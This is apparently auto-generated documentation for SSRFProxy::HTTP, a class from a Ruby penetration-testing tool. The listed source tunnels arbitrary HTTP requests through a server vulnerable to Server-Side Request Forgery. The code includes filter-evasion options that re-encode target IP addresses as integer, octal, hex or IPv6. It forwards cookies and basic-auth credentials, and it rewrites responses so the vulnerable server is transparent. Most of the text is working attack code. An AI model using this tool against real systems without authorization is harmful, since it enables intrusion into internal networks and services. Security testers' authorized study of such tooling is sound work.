class SSRFProxy::HTTP

SSRFProxy::HTTP object takes information required to connect to a HTTP(S) server vulnerable to Server-Side Request Forgery (SSRF) and issue arbitrary HTTP requests via the vulnerable server.

Once configured, the send_uri and send_request methods can be used to tunnel HTTP requests through the vulnerable server.

Several request modification options can be used to format the HTTP request appropriately for the SSRF vector and the destination web server accessed via the SSRF.

Several response modification options can be used to infer information about the response from the destination server and format the response such that the vulnerable intermediary server is mostly transparent to the client initiating the HTTP request.

Refer to the wiki for more information about configuring the SSRF, requestion modification, response modification, and example configurations: github.com/bcoles/ssrf_proxy/wiki/Configuration

Attributes

headers[R]

@return [Hash] SSRF request HTTP headers

logger[R]

@return [Logger] logger

method[R]

@return [String] SSRF request HTTP method

post_data[R]

@return [String] SSRF request HTTP body

proxy[R]

@return [URI] upstream proxy

url[R]

@return [URI] SSRF URL

Public Class Methods

new(url: nil, file: nil, proxy: nil, ssl: false, method: 'GET', placeholder: 'xxURLxx', post_data: nil, rules: nil, no_urlencode: false, ip_encoding: nil, match: '\A(.*)\z', strip: nil, decode_html: false, unescape: false, guess_mime: false, sniff_mime: false, guess_status: false, cors: false, timeout_ok: false, detect_headers: false, fail_no_content: false, forward_method: false, forward_headers: false, forward_body: false, forward_cookies: false, body_to_uri: false, auth_to_uri: false, cookies_to_uri: false, cache_buster: false, cookie: nil, user: nil, timeout: 10, user_agent: nil, insecure: false) click to toggle source

SSRFProxy::HTTP accepts SSRF connection information, and configuration options for request modification and response modification.

@param url [String] Target URL vulnerable to SSRF

@param file [String] Load HTTP request from a file

@param proxy [String] Use a proxy to connect to the server.

(Supported proxies: http, https, socks)

@param ssl [Boolean] Connect using SSL/TLS

@param method [String] HTTP method (GET/HEAD/DELETE/POST/PUT/OPTIONS)

(Default: GET)

@param post_data [String] HTTP post data

@param user [String] HTTP basic authentication credentials

@param rules [String] Rules for parsing client request

(separated by ',') (Default: none)

@param no_urlencode [Boolean] Do not URL encode client request

@param ip_encoding [String] Encode client request host IP address.

(Modes: int, ipv6, oct, hex, dotted_hex)

@param match [String] Regex to match response body content.

(Default: \A(.*)\z)

@param strip [String] Headers to remove from the response.

(separated by ',') (Default: none)

@param decode_html [Boolean] Decode HTML entities in response body

@param unescape [Boolean] Unescape special characters in response body

@param guess_status [Boolean] Replaces response status code and message

headers (determined by common strings in the
response body, such as 404 Not Found.)

@param guess_mime [Boolean] Replaces response content-type header with the

appropriate mime type (determined by the file
extension of the requested resource.)

@param sniff_mime [Boolean] Replaces response content-type header with the

appropriate mime type (determined by magic bytes
in the response body.)

@param timeout_ok [Boolean] Replaces timeout HTTP status code 504 with 200.

@param detect_headers [Boolean] Replaces response headers if response headers

are identified in the response body.

@param fail_no_content [Boolean] Return HTTP status 502 if response body

is empty.

@param forward_method [Boolean] Forward client request method

@param forward_headers [Boolean] Forward all client request headers

@param forward_body [Boolean] Forward client request body

@param forward_cookies [Boolean] Forward client request cookies

@param body_to_uri [Boolean] Add client request body to URI query string

@param auth_to_uri [Boolean] Use client request basic authentication

credentials in request URI.

@param cookies_to_uri [Boolean] Add client request cookies to URI query string

@param cache_buster [Boolean] Append a random value to the client request

query string

@param timeout [Integer] Connection timeout in seconds (Default: 10)

@param user_agent [String] HTTP user-agent (Default: none)

@param insecure [Boolean] Skip server SSL certificate validation

@example Configure SSRF with URL, GET method

SSRFProxy::HTTP.new(url: 'http://example.local/?url=xxURLxx')

@example Configure SSRF with URL, POST method

SSRFProxy::HTTP.new(url: 'http://example.local/',
                    method: 'POST',
                    post_data: 'url=xxURLxx')

@example Configure SSRF with raw HTTP request file

SSRFProxy::HTTP.new(file: 'ssrf.txt')

@example Configure SSRF with raw HTTP request file and force SSL/TLS

SSRFProxy::HTTP.new(file: 'ssrf.txt', ssl: true)

@example Configure SSRF with raw HTTP request StringIO

SSRFProxy::HTTP.new(file: StringIO.new("GET http://example.local/?url=xxURLxx HTTP/1.1\n\n"))

@raise [SSRFProxy::HTTP::Error::InvalidSsrfRequest]

Invalid SSRF request specified.

@raise [SSRFProxy::HTTP::Error::InvalidUpstreamProxy]

Invalid upstream proxy specified.

@raise [SSRFProxy::HTTP::Error::InvalidSsrfRequestMethod]

Invalid SSRF request method specified.
Supported methods: GET, HEAD, DELETE, POST, PUT, OPTIONS.

@raise [SSRFProxy::HTTP::Error::NoUrlPlaceholder]

'xxURLxx' URL placeholder must be specified in the
 SSRF request URL or body.

@raise [SSRFProxy::HTTP::Error::InvalidIpEncoding]

Invalid IP encoding method specified.
    # File lib/ssrf_proxy/http.rb
183 def initialize(url: nil,
184                file: nil,
185                proxy: nil,
186                ssl: false,
187                method: 'GET',
188                placeholder: 'xxURLxx',
189                post_data: nil,
190                rules: nil,
191                no_urlencode: false,
192                ip_encoding: nil,
193                match: '\A(.*)\z',
194                strip: nil,
195                decode_html: false,
196                unescape: false,
197                guess_mime: false,
198                sniff_mime: false,
199                guess_status: false,
200                cors: false,
201                timeout_ok: false,
202                detect_headers: false,
203                fail_no_content: false,
204                forward_method: false,
205                forward_headers: false,
206                forward_body: false,
207                forward_cookies: false,
208                body_to_uri: false,
209                auth_to_uri: false,
210                cookies_to_uri: false,
211                cache_buster: false,
212                cookie: nil,
213                user: nil,
214                timeout: 10,
215                user_agent: nil,
216                insecure: false)
217 
218   @SUPPORTED_METHODS = %w[GET HEAD DELETE POST PUT OPTIONS].freeze
219   @SUPPORTED_IP_ENCODINGS = %w[int ipv6 oct hex dotted_hex].freeze
220 
221   @logger = ::Logger.new(STDOUT).tap do |log|
222     log.progname = 'ssrf-proxy'
223     log.level = ::Logger::WARN
224     log.datetime_format = '%Y-%m-%d %H:%M:%S '
225   end
226 
227   # SSRF configuration options
228   @proxy = nil
229   @placeholder = placeholder.to_s || 'xxURLxx'
230   @method = 'GET'
231   @headers ||= {}
232   @post_data = post_data.to_s || ''
233   @rules = rules.to_s.split(/,/) || []
234   @no_urlencode = no_urlencode || false
235 
236   # client request modification
237   @ip_encoding = nil
238   @forward_method = forward_method || false
239   @forward_headers = forward_headers || false
240   @forward_body = forward_body || false
241   @forward_cookies = forward_cookies || false
242   @body_to_uri = body_to_uri || false
243   @auth_to_uri = auth_to_uri || false
244   @cookies_to_uri = cookies_to_uri || false
245   @cache_buster = cache_buster || false
246 
247   # SSRF connection options
248   @user = ''
249   @pass = ''
250   @timeout = timeout.to_i || 10
251   @insecure = insecure || false
252 
253   # HTTP response modification options
254   @match_regex = match.to_s || '\A(.*)\z'
255   @strip = strip.to_s.downcase.split(/,/) || []
256   @decode_html = decode_html || false
257   @unescape = unescape || false
258   @guess_status = guess_status || false
259   @guess_mime = guess_mime || false
260   @sniff_mime = sniff_mime || false
261   @detect_headers = detect_headers || false
262   @fail_no_content = fail_no_content || false
263   @timeout_ok = timeout_ok || false
264   @cors = cors || false
265 
266   # ensure either a URL or file path was provided
267   if url.to_s.eql?('') && file.to_s.eql?('')
268     raise ArgumentError,
269           "Option 'url' or 'file' must be provided."
270   end
271 
272   # parse HTTP request file
273   unless file.to_s.eql?('')
274     unless url.to_s.eql?('')
275       raise ArgumentError,
276             "Options 'url' and 'file' are mutually exclusive."
277     end
278 
279     if file.is_a?(String)
280       if File.exist?(file) && File.readable?(file)
281         http = File.read(file).to_s
282       else
283         raise SSRFProxy::HTTP::Error::InvalidSsrfRequest.new,
284               "Invalid SSRF request specified : Could not read file #{file.inspect}"
285       end
286     elsif file.is_a?(StringIO)
287       http = file.read
288     end
289 
290     req = parse_http_request(http)
291     url = req['uri']
292     @method = req['method']
293     @headers = {}
294     req['headers'].each do |k, v|
295       @headers[k.downcase] = v.flatten.first
296     end
297     @headers.delete('host')
298     @post_data = req['body']
299   end
300 
301   # parse target URL
302   begin
303     @url = URI.parse(url.to_s)
304   rescue URI::InvalidURIError
305     raise SSRFProxy::HTTP::Error::InvalidSsrfRequest.new,
306           'Invalid SSRF request specified : Could not parse URL.'
307   end
308 
309   if @url.scheme.nil? || @url.host.nil? || @url.port.nil?
310     raise SSRFProxy::HTTP::Error::InvalidSsrfRequest.new,
311           'Invalid SSRF request specified : Invalid URL.'
312   end
313 
314   unless @url.scheme.eql?('http') || @url.scheme.eql?('https')
315     raise SSRFProxy::HTTP::Error::InvalidSsrfRequest.new,
316           'Invalid SSRF request specified : URL scheme must be http(s).'
317   end
318 
319   if proxy
320     begin
321       @proxy = URI.parse(proxy.to_s)
322     rescue URI::InvalidURIError
323       raise SSRFProxy::HTTP::Error::InvalidUpstreamProxy.new,
324             'Invalid upstream proxy specified.'
325     end
326     if @proxy.host.nil? || @proxy.port.nil?
327       raise SSRFProxy::HTTP::Error::InvalidUpstreamProxy.new,
328             'Invalid upstream proxy specified.'
329     end
330     if @proxy.scheme !~ /\A(socks|https?)\z/
331       raise SSRFProxy::HTTP::Error::InvalidUpstreamProxy.new,
332             'Unsupported upstream proxy specified. ' \
333             'Scheme must be http(s) or socks.'
334     end
335   end
336 
337   if ssl
338     @url.scheme = 'https'
339   end
340 
341   if method
342     case method.to_s.downcase
343     when 'get'
344       @method = 'GET'
345     when 'head'
346       @method = 'HEAD'
347     when 'delete'
348       @method = 'DELETE'
349     when 'post'
350       @method = 'POST'
351     when 'put'
352       @method = 'PUT'
353     when 'options'
354       @method = 'OPTIONS'
355     else
356       raise SSRFProxy::HTTP::Error::InvalidSsrfRequestMethod.new,
357             'Invalid SSRF request method specified. ' \
358             "Supported methods: #{@SUPPORTED_METHODS.join(', ')}."
359     end
360   end
361 
362   if ip_encoding
363     unless @SUPPORTED_IP_ENCODINGS.include?(ip_encoding)
364       raise SSRFProxy::HTTP::Error::InvalidIpEncoding.new,
365             'Invalid IP encoding method specified.'
366     end
367     @ip_encoding = ip_encoding.to_s
368   end
369 
370   if cookie
371     @headers['cookie'] = cookie.to_s
372   end
373 
374   if user
375     if user.to_s =~ /^(.*?):(.*)/
376       @user = $1
377       @pass = $2
378     else
379       @user = user.to_s
380     end
381   end
382 
383   if user_agent
384     @headers['user-agent'] = user_agent
385   end
386 
387   # Ensure a URL placeholder was provided
388   unless @url.request_uri.to_s.include?(@placeholder) ||
389          @post_data.to_s.include?(@placeholder) ||
390          @headers.to_s.include?(@placeholder)
391     raise SSRFProxy::HTTP::Error::NoUrlPlaceholder.new,
392           'You must specify a URL placeholder with ' \
393           "'#{@placeholder}' in the SSRF request"
394   end
395 end

Public Instance Methods

send_request(request, use_ssl: false) click to toggle source

Parse a raw HTTP request as a string, then send the requested URL and HTTP headers to send_uri

@param request [String] Raw HTTP request @param use_ssl [Boolean] Connect using SSL/TLS

@return [Hash] HTTP response hash (version, code, message, headers, body)

    # File lib/ssrf_proxy/http.rb
467 def send_request(request, use_ssl: false)
468   req = parse_http_request(request)
469   req['uri'].scheme = 'https' if use_ssl
470   send_uri(req['uri'],
471            method: req['method'],
472            headers: req['headers'],
473            body: req['body'])
474 end
send_uri(uri, method: 'GET', headers: {}, body: '') click to toggle source

Fetch a URI via SSRF

@param [String] uri URI to fetch @param [String] method HTTP request method @param [Hash] headers HTTP request headers @param [String] body HTTP request body

@raise [SSRFProxy::HTTP::Error::InvalidClientRequest]

An invalid client HTTP request was supplied.

@return [Hash] HTTP response hash (version, code, message, headers, body, etc)

    # File lib/ssrf_proxy/http.rb
489 def send_uri(uri, method: 'GET', headers: {}, body: '')
490   uri = uri.to_s
491   body = body.to_s
492   headers = {} unless headers.is_a?(Hash)
493 
494   # validate url
495   unless uri.start_with?('http://', 'https://')
496     raise SSRFProxy::HTTP::Error::InvalidClientRequest,
497           'Invalid request URI'
498   end
499 
500   # set request method
501   if @forward_method
502     if @SUPPORTED_METHODS.include?(method)
503       request_method = method
504     else
505       raise SSRFProxy::HTTP::Error::InvalidClientRequest,
506             "Request method '#{method}' is not supported"
507     end
508   else
509     request_method = @method
510   end
511 
512   # parse request headers
513   client_headers = {}
514   headers.each do |k, v|
515     if v.is_a?(Array)
516       client_headers[k.downcase] = v.flatten.first
517     elsif v.is_a?(String)
518       client_headers[k.downcase] = v.to_s
519     else
520       raise SSRFProxy::HTTP::Error::InvalidClientRequest,
521             "Request header #{k.inspect} value is malformed: #{v}"
522     end
523   end
524 
525   # reject websocket requests
526   if client_headers['upgrade'].to_s.start_with?('WebSocket')
527     logger.warn('WebSocket tunneling is not supported')
528     raise SSRFProxy::HTTP::Error::InvalidClientRequest,
529           'WebSocket tunneling is not supported'
530   end
531 
532   # copy request body to URL
533   if @body_to_uri && !body.eql?('')
534     logger.debug("Parsing request body: #{body}")
535     separator = uri.include?('?') ? '&' : '?'
536     uri = "#{uri}#{separator}#{body}"
537     logger.info("Added request body to URI: #{body.inspect}")
538   end
539 
540   # copy basic authentication credentials to uri
541   if @auth_to_uri && client_headers['authorization'].to_s.downcase.start_with?('basic ')
542     logger.debug("Parsing basic authentication header: #{client_headers['authorization']}")
543     begin
544       creds = client_headers['authorization'].split(' ')[1]
545       user = Base64.decode64(creds).chomp
546       uri = uri.gsub!(%r{://}, "://#{CGI.escape(user).gsub(/\+/, '%20').gsub('%3A', ':')}@")
547       logger.info("Using basic authentication credentials: #{user}")
548     rescue
549       logger.warn('Could not parse request authorization header: ' \
550                   "#{client_headers['authorization']}")
551     end
552   end
553 
554   # copy cookies to uri
555   cookies = []
556   if @cookies_to_uri && !client_headers['cookie'].nil?
557     logger.debug("Parsing request cookies: #{client_headers['cookie']}")
558     client_headers['cookie'].split(/;\s*/).each do |c|
559       cookies << c.to_s unless c.nil?
560     end
561     separator = uri.include?('?') ? '&' : '?'
562     uri = "#{uri}#{separator}#{cookies.join('&')}"
563     logger.info("Added cookies to URI: #{cookies.join('&')}")
564   end
565 
566   # add cache buster
567   if @cache_buster
568     separator = uri.include?('?') ? '&' : '?'
569     junk = "#{rand(36**6).to_s(36)}=#{rand(36**6).to_s(36)}"
570     uri = "#{uri}#{separator}#{junk}"
571   end
572 
573   # set request headers
574   request_headers = @headers.dup
575 
576   # forward request cookies
577   new_cookie = []
578   new_cookie << @headers['cookie'] unless @headers['cookie'].to_s.eql?('')
579   if @forward_cookies && !client_headers['cookie'].nil?
580     client_headers['cookie'].split(/;\s*/).each do |c|
581       new_cookie << c.to_s unless c.nil?
582     end
583   end
584   unless new_cookie.empty?
585     request_headers['cookie'] = new_cookie.uniq.join('; ')
586     logger.info("Using cookie: #{new_cookie.join('; ')}")
587   end
588 
589   # forward request headers and strip proxy headers
590   if @forward_headers && !client_headers.empty?
591     client_headers.each do |k, v|
592       next if k.eql?('proxy-connection')
593       next if k.eql?('proxy-authorization')
594       if v.is_a?(Array)
595         request_headers[k.downcase] = v.flatten.first
596       elsif v.is_a?(String)
597         request_headers[k.downcase] = v.to_s
598       end
599     end
600   end
601 
602   # encode target host ip
603   ip_encoded_uri = @ip_encoding ? encode_ip(uri, @ip_encoding) : uri
604 
605   # run request URI through rules
606   target_uri = run_rules(ip_encoded_uri, @rules).to_s
607 
608   # URL encode target URI
609   unless @no_urlencode
610     target_uri = CGI.escape(target_uri).gsub(/\+/, '%20').to_s
611   end
612 
613   # set path and query string
614   if @url.query.to_s.eql?('')
615     ssrf_url = @url.path.to_s
616   else
617     ssrf_url = "#{@url.path}?#{@url.query}"
618   end
619 
620   # replace xxURLxx placeholder in request URL
621   ssrf_url.gsub!(/#{@placeholder}/, target_uri)
622 
623   # replace xxURLxx placeholder in request body
624   post_data = @post_data.gsub(/#{@placeholder}/, target_uri)
625 
626   # set request body
627   if @forward_body && !body.eql?('')
628     request_body = post_data.eql?('') ? body : "#{post_data}&#{body}"
629   else
630     request_body = post_data
631   end
632 
633   # replace xxURLxx in request header values
634   request_headers.each do |k, v|
635     request_headers[k] = v.gsub(/#{@placeholder}/, target_uri)
636   end
637 
638   # set content type
639   if request_headers['content-type'].nil? && !request_body.eql?('')
640     request_headers['content-type'] = 'application/x-www-form-urlencoded'
641   end
642 
643   # set content length
644   request_headers['content-length'] = request_body.length.to_s
645 
646   # send request
647   response = nil
648   start_time = Time.now
649   begin
650     response = send_http_request(ssrf_url,
651                                  request_method,
652                                  request_headers,
653                                  request_body)
654     if response['content-encoding'].to_s.downcase.eql?('gzip') && response.body
655       begin
656         sio = StringIO.new(response.body)
657         gz = Zlib::GzipReader.new(sio)
658         response.body = gz.read
659       rescue
660         logger.warn('Could not decompress response body')
661       end
662     end
663 
664     result = { 'url'          => uri,
665                'http_version' => response.http_version,
666                'code'         => response.code,
667                'message'      => response.message,
668                'headers'      => '',
669                'body'         => response.body.to_s || '' }
670   rescue SSRFProxy::HTTP::Error::ConnectionTimeout => e
671     unless @timeout_ok
672       raise SSRFProxy::HTTP::Error::ConnectionTimeout, e.message
673     end
674     result = { 'url'          => uri,
675                'http_version' => '1.0',
676                'code'         => 200,
677                'message'      => 'Timeout',
678                'headers'      => '',
679                'body'         => '' }
680     logger.info('Changed HTTP status code 504 to 200')
681   end
682 
683   # set duration
684   end_time = Time.now
685   duration = ((end_time - start_time) * 1000).round(3)
686   result['duration'] = duration
687 
688   # body content encoding
689   result['body'].force_encoding('BINARY')
690   unless result['body'].valid_encoding?
691     begin
692       result['body'] = result['body'].encode(
693         'UTF-8',
694         'binary',
695         :invalid => :replace,
696         :undef   => :replace,
697         :replace => ''
698       )
699     rescue
700     end
701   end
702 
703   logger.info("Received #{result['body'].bytes.length} bytes in #{duration} ms")
704 
705   # match response content
706   unless @match_regex.nil?
707     matches = result['body'].scan(/#{@match_regex}/m)
708     if !matches.empty?
709       result['body'] = matches.flatten.first.to_s
710       logger.info("Response body matches pattern '#{@match_regex}'")
711     else
712       result['body'] = ''
713       logger.warn("Response body does not match pattern '#{@match_regex}'")
714     end
715   end
716 
717   # return 502 if matched response body is empty
718   if @fail_no_content
719     if result['body'].to_s.eql?('')
720       result['code'] = 502
721       result['message'] = 'Bad Gateway'
722       result['status_line'] = "HTTP/#{result['http_version']} #{result['code']} #{result['message']}"
723       return result
724     end
725   end
726 
727   # unescape response body
728   if @unescape
729     # unescape slashes
730     result['body'] = result['body'].tr('\\', '\\')
731     result['body'] = result['body'].gsub('\\/', '/')
732     # unescape whitespace
733     result['body'] = result['body'].gsub('\r', "\r")
734     result['body'] = result['body'].gsub('\n', "\n")
735     result['body'] = result['body'].gsub('\t', "\t")
736     # unescape quotes
737     result['body'] = result['body'].gsub('\"', '"')
738     result['body'] = result['body'].gsub("\\'", "'")
739   end
740 
741   # decode HTML entities
742   if @decode_html
743     result['body'] = HTMLEntities.new.decode(result['body'])
744   end
745 
746   # set title
747   result['title'] = result['body'][0..8192] =~ %r{<title>([^<]*)</title>}im ? $1.to_s : ''
748 
749   # guess HTTP response code and message
750   if @guess_status
751     head = result['body'][0..8192]
752     status = guess_status(head)
753     unless status.empty?
754       result['code'] = status['code']
755       result['message'] = status['message']
756       logger.info("Using HTTP response status: #{result['code']} #{result['message']}")
757     end
758   end
759 
760   # replace timeout response with 200 OK
761   if @timeout_ok
762     if result['code'].eql?('504')
763       logger.info('Changed HTTP status code 504 to 200')
764       result['code'] = 200
765     end
766   end
767 
768   # detect headers in response body
769   if @detect_headers
770     headers = ''
771     head = result['body'][0..8192] # use first 8192 byes
772     detected_headers = head.scan(%r{HTTP/(1\.\d) (\d+) (.*?)\r?\n(.*?)\r?\n\r?\n}m)
773 
774     if detected_headers.empty?
775       logger.info('Found no HTTP response headers in response body.')
776     else
777       # HTTP redirects may contain more than one set of HTTP response headers
778       # Use the last
779       logger.info("Found #{detected_headers.count} sets of HTTP response headers in reponse. Using last.")
780       version = detected_headers.last[0]
781       code = detected_headers.last[1]
782       message = detected_headers.last[2]
783       detected_headers.last[3].split(/\r?\n/).each do |line|
784         if line =~ /^[A-Za-z0-9\-_\.]+: /
785           k = line.split(': ').first
786           v = line.split(': ')[1..-1].flatten.first
787           headers << "#{k}: #{v}\n"
788         else
789           logger.warn('Could not use response headers in response body : Headers are malformed.')
790           headers = ''
791           break
792         end
793       end
794     end
795     unless headers.eql?('')
796       result['http_version'] = version
797       result['code'] = code.to_i
798       result['message'] = message
799       result['headers'] = headers
800       result['body'] = result['body'].split(/\r?\n\r?\n/)[detected_headers.count..-1].flatten.join("\n\n")
801     end
802   end
803 
804   # set status line
805   result['status_line'] = "HTTP/#{result['http_version']} #{result['code']} #{result['message']}"
806 
807   # strip unwanted HTTP response headers
808   unless response.nil?
809     response.each_header do |header_name, header_value|
810       if header_name.downcase.eql?('content-encoding')
811         next if header_value.downcase.eql?('gzip')
812       end
813 
814       if @strip.include?(header_name.downcase)
815         logger.info("Removed response header: #{header_name}")
816         next
817       end
818       result['headers'] << "#{header_name}: #{header_value}\n"
819     end
820   end
821 
822   # add wildcard CORS header
823   if @cors
824     result['headers'] << "Access-Control-Allow-Origin: *\n"
825   end
826 
827   # advise client to close HTTP connection
828   if result['headers'] =~ /^connection:.*$/i
829     result['headers'].gsub!(/^connection:.*$/i, 'Connection: close')
830   else
831     result['headers'] << "Connection: close\n"
832   end
833 
834   # guess mime type and add content-type header
835   content_type = nil
836   if @sniff_mime
837     head = result['body'][0..8192] # use first 8192 byes
838     content_type = sniff_mime(head)
839     if content_type.nil?
840       content_type = guess_mime(File.extname(uri.to_s.split('?').first))
841     end
842   elsif @guess_mime
843     content_type = guess_mime(File.extname(uri.to_s.split('?').first))
844   end
845 
846   unless content_type.nil?
847     logger.info("Using content-type: #{content_type}")
848     if result['headers'] =~ /^content\-type:.*$/i
849       result['headers'].gsub!(/^content\-type:.*$/i,
850                               "Content-Type: #{content_type}")
851     else
852       result['headers'] << "Content-Type: #{content_type}\n"
853     end
854   end
855 
856   # prompt for password if unauthorised
857   if result['code'] == 401
858     if result['headers'] !~ /^WWW-Authenticate:.*$/i
859       auth_uri = URI.parse(uri.to_s.split('?').first)
860       realm = "#{auth_uri.host}:#{auth_uri.port}"
861       result['headers'] << "WWW-Authenticate: Basic realm=\"#{realm}\"\n"
862       logger.info("Added WWW-Authenticate header for realm: #{realm}")
863     end
864   end
865 
866   # set location header if redirected
867   if result['code'] == 301 || result['code'] == 302
868     if result['headers'] !~ /^location:.*$/i
869       location = nil
870       if result['body'] =~ /This document may be found <a href="(.+)">/i
871         location = $1
872       elsif result['body'] =~ /The document has moved <a href="(.+)">/i
873         location = $1
874       end
875       unless location.nil?
876         result['headers'] << "Location: #{location}\n"
877         logger.info("Added Location header: #{location}")
878       end
879     end
880   end
881 
882   # set content length
883   content_length = result['body'].length
884   if result['headers'] =~ /^transfer\-encoding:.*$/i
885     result['headers'].gsub!(/^transfer\-encoding:.*$/i,
886                             "Content-Length: #{content_length}")
887   elsif result['headers'] =~ /^content\-length:.*$/i
888     result['headers'].gsub!(/^content\-length:.*$/i,
889                             "Content-Length: #{content_length}")
890   else
891     result['headers'] << "Content-Length: #{content_length}\n"
892   end
893 
894   # return HTTP response
895   logger.debug("Response:\n" \
896                "#{result['status_line']}\n" \
897                "#{result['headers']}\n" \
898                "#{result['body']}")
899   result
900 end

Private Instance Methods

encode_ip(url, mode) click to toggle source

Encode IP address of a given URL

@param [String] url target URL @param [String] mode encoding (int, ipv6, oct, hex, dotted_hex)

@return [String] encoded IP address

    # File lib/ssrf_proxy/http.rb
910 def encode_ip(url, mode)
911   return if url.nil?
912   new_host = nil
913   host = URI.parse(url.to_s.split('?').first).host.to_s
914   begin
915     ip = IPAddress::IPv4.new(host)
916   rescue
917     logger.warn("Could not parse requested host as IPv4 address: #{host}")
918     return url
919   end
920   case mode
921   when 'int'
922     new_host = url.to_s.gsub(host, ip.to_u32.to_s)
923   when 'ipv6'
924     new_host = url.to_s.gsub(host, "[#{ip.to_ipv6}]")
925   when 'oct'
926     new_host = url.to_s.gsub(host, "0#{ip.to_u32.to_s(8)}")
927   when 'hex'
928     new_host = url.to_s.gsub(host, "0x#{ip.to_u32.to_s(16)}")
929   when 'dotted_hex'
930     res = ip.octets.map { |i| "0x#{i.to_s(16).rjust(2, '0')}" }.join('.')
931     new_host = url.to_s.gsub(host, res.to_s) unless res.nil?
932   else
933     logger.warn("Invalid IP encoding: #{mode}")
934   end
935   new_host
936 end
guess_mime(ext) click to toggle source

Guess content type based on file extension

@param [String] ext File extension including dots

@example Return mime type for extension '.png'

guess_mime('favicon.png')

@return [String] content-type value

     # File lib/ssrf_proxy/http.rb
1368 def guess_mime(ext)
1369   content_types = WEBrick::HTTPUtils::DefaultMimeTypes
1370   common_content_types = { 'ico' => 'image/x-icon' }
1371   content_types.merge!(common_content_types)
1372   content_types.each do |k, v|
1373     return v.to_s if ext.eql?(".#{k}")
1374   end
1375   nil
1376 end
guess_status(response) click to toggle source

Guess HTTP response status code and message based on common strings in the response body such as a default title or exception error message

@param [String] response HTTP response

@return [Hash] includes HTTP response code and message

     # File lib/ssrf_proxy/http.rb
1119 def guess_status(response)
1120   result = {}
1121   # response status code returned by php-simple-proxy and php-json-proxy
1122   if response =~ /"status":{"http_code":([\d]+)}/
1123     result['code'] = $1
1124     result['message'] = ''
1125   # generic page titles containing HTTP status
1126   elsif response =~ />301 Moved</ || response =~ />Document Moved</ || response =~ />Object Moved</ || response =~ />301 Moved Permanently</
1127     result['code'] = 301
1128     result['message'] = 'Document Moved'
1129   elsif response =~ />302 Found</ || response =~ />302 Moved Temporarily</
1130     result['code'] = 302
1131     result['message'] = 'Found'
1132   elsif response =~ />400 Bad Request</
1133     result['code'] = 400
1134     result['message'] = 'Bad Request'
1135   elsif response =~ />401 Unauthorized</
1136     result['code'] = 401
1137     result['message'] = 'Unauthorized'
1138   elsif response =~ />403 Forbidden</
1139     result['code'] = 403
1140     result['message'] = 'Forbidden'
1141   elsif response =~ />404 Not Found</
1142     result['code'] = 404
1143     result['message'] = 'Not Found'
1144   elsif response =~ />The page is not found</
1145     result['code'] = 404
1146     result['message'] = 'Not Found'
1147   elsif response =~ />413 Request Entity Too Large</
1148     result['code'] = 413
1149     result['message'] = 'Request Entity Too Large'
1150   elsif response =~ />500 Internal Server Error</
1151     result['code'] = 500
1152     result['message'] = 'Internal Server Error'
1153   elsif response =~ />503 Service Unavailable</
1154     result['code'] = 503
1155     result['message'] = 'Service Unavailable'
1156   # getaddrinfo() errors
1157   elsif response =~ /getaddrinfo: /
1158     if response =~ /getaddrinfo: nodename nor servname provided/
1159       result['code'] = 502
1160       result['message'] = 'Bad Gateway'
1161     elsif response =~ /getaddrinfo: Name or service not known/
1162       result['code'] = 502
1163       result['message'] = 'Bad Gateway'
1164     end
1165   # getnameinfo() errors
1166   elsif response =~ /getnameinfo failed: /
1167     result['code'] = 502
1168     result['message'] = 'Bad Gateway'
1169   # PHP 'failed to open stream' errors
1170   elsif response =~ /failed to open stream: /
1171     # HTTP request failed! HTTP/[version] [code] [message]
1172     if response =~ %r{failed to open stream: HTTP request failed! HTTP\/(0\.9|1\.0|1\.1) ([\d]+) }
1173       result['code'] = $2.to_s
1174       result['message'] = ''
1175       if response =~ %r{failed to open stream: HTTP request failed! HTTP/(0\.9|1\.0|1\.1) [\d]+ ([a-zA-Z ]+)}
1176         result['message'] = $2.to_s
1177       end
1178     # No route to host
1179     elsif response =~ /failed to open stream: No route to host in/
1180       result['code'] = 502
1181       result['message'] = 'Bad Gateway'
1182     # Connection refused
1183     elsif response =~ /failed to open stream: Connection refused in/
1184       result['code'] = 502
1185       result['message'] = 'Bad Gateway'
1186     # Connection timed out
1187     elsif response =~ /failed to open stream: Connection timed out/
1188       result['code'] = 504
1189       result['message'] = 'Timeout'
1190     # Success - This likely indicates an SSL/TLS connection failure
1191     elsif response =~ /failed to open stream: Success in/
1192       result['code'] = 502
1193       result['message'] = 'Bad Gateway'
1194     end
1195   # Java 'java.net' exceptions
1196   elsif response =~ /java\.net\.[^\s]*Exception: /
1197     if response =~ /java\.net\.ConnectException: No route to host/
1198       result['code'] = 502
1199       result['message'] = 'Bad Gateway'
1200     elsif response =~ /java\.net\.ConnectException: Connection refused/
1201       result['code'] = 502
1202       result['message'] = 'Bad Gateway'
1203     elsif response =~ /java\.net\.ConnectException: Connection timed out/
1204       result['code'] = 504
1205       result['message'] = 'Timeout'
1206     elsif response =~ /java\.net\.UnknownHostException: Invalid hostname/
1207       result['code'] = 502
1208       result['message'] = 'Bad Gateway'
1209     elsif response =~ /java\.net\.SocketException: Network is unreachable/
1210       result['code'] = 502
1211       result['message'] = 'Bad Gateway'
1212     elsif response =~ /java\.net\.SocketException: Connection reset/
1213       result['code'] = 502
1214       result['message'] = 'Bad Gateway'
1215     elsif response =~ /java\.net\.SocketTimeoutException: Connection timed out/
1216       result['code'] = 504
1217       result['message'] = 'Timeout'
1218     end
1219   # C errno
1220   elsif response =~ /\[Errno -?[\d]{1,5}\]/
1221     if response =~ /\[Errno -2\] Name or service not known/
1222       result['code'] = 502
1223       result['message'] = 'Bad Gateway'
1224     elsif response =~ /\[Errno 101\] Network is unreachable/
1225       result['code'] = 502
1226       result['message'] = 'Bad Gateway'
1227     elsif response =~ /\[Errno 104\] Connection reset by peer/
1228       result['code'] = 502
1229       result['message'] = 'Bad Gateway'
1230     elsif response =~ /\[Errno 110\] Connection timed out/
1231       result['code'] = 504
1232       result['message'] = 'Timeout'
1233     elsif response =~ /\[Errno 111\] Connection refused/
1234       result['code'] = 502
1235       result['message'] = 'Bad Gateway'
1236     elsif response =~ /\[Errno 113\] No route to host/
1237       result['code'] = 502
1238       result['message'] = 'Bad Gateway'
1239     elsif response =~ /\[Errno 11004\] getaddrinfo failed/
1240       result['code'] = 502
1241       result['message'] = 'Bad Gateway'
1242     elsif response =~ /\[Errno 10053\] An established connection was aborted/
1243       result['code'] = 502
1244       result['message'] = 'Bad Gateway'
1245     elsif response =~ /\[Errno 10054\] An existing connection was forcibly closed/
1246       result['code'] = 502
1247       result['message'] = 'Bad Gateway'
1248     elsif response =~ /\[Errno 10055\] An operation on a socket could not be performed/
1249       result['code'] = 502
1250       result['message'] = 'Bad Gateway'
